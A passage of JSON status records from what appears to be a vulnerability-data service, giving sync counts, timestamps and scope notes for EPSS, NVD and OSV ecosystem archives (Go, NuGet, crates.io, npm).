sent.","generation":"enrichment-a0fdc54bc3524c3ba2c62dd2a3e9275d","complete":false,"records":13793,"lastAttemptAt":"2026-11-13T03:20:53.5784548+00:00","lastSuccessAt":"2026-11-13T03:20:53.6598111+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:20:53.6598111+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T03:19:40.5269590+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T03:19:40.526959+00:00","lastSuccessAt":"2026-11-13T03:19:40.6892892+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.6892894+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-99b329e58ea7441eaabf9a9af1bb4458","complete":true,"records":13781,"lastAttemptAt":"2026-11-13T03:19:48.7349646+00:00","lastSuccessAt":"2026-11-13T03:19:48.73+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:48.73+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13846,"expectedIdentifiers":13846,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T03:19:40.4671686+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.4671686+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T03:16:36.9337406+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:16:36.9337406+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-20d1a8ab073a1c13ab2143dbcadb34ebb8edf1e18e16482b448513662c3d1e12","complete":true,"records":3127,"lastAttemptAt":"2026-11-13T03:19:40.4889465+00:00","lastSuccessAt":"2026-11-12T22:18:31.0338213+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.4889465+00:00","snapshotPublishedAt":"2026-11-12T22:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-11714c374501e9f6ac09cc4e36bc0b50c7521131f606050aeabd7887ba2c0080","complete":true,"records":231743,"lastAttemptAt":"2026-11-13T03:19:40.3437235+00:00","lastSuccessAt":"2026-11-13T03:19:38.55958+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.3437235+00:00","snapshotPublishedAt":"2026-11-13T02:48:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}